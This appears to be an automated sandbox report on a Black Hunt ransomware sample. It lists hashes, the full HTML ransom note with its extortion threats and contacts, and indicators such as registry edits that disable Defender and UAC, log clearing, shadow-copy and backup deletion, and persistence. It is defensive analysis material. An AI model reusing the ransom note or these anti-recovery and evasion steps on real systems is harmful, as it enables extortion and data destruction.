18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285

Analysis

max time kernel
151s
max time network
168s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18/01/2024, 22:37

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General

Target

18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Size

707KB
MD5

4489964d7a00728f7b46c41fced518cd
SHA1

7731adc101012b6f0207cb04aad288bf4444f679
SHA256

18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285
SHA512

a0c0d6307c1ebfe93275addeb501b57730264e6fdde8b1b296714df66dc9b6134e7237303452bd836092862182553891755670b2c1767044782a93364a50524d
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1p8Gvnh:6uaTmkZJ+naie5OTamgEoKxLWU4h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> JzSOTaf8LmHmglD7 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4304	fsutil.exe
1520	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	cmd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3984	wevtutil.exe
5664	wevtutil.exe
5612	wevtutil.exe
5536	wevtutil.exe
1924	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4420	bcdedit.exe
2780	bcdedit.exe
4500	bcdedit.exe
3028	bcdedit.exe

Renames multiple (563) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3368	wbadmin.exe
5276	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\X:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\B:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\Z:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\P:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\K:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\N:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\I:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\R:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\T:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\U:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\A:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\S:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\V:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\E:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\G:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\J:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\M:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\O:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\H:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\MergeSet.wmf	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\calendars.properties	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\jni_md.h	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fontconfig.bfc	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklisted.certs	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\rt.jar	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
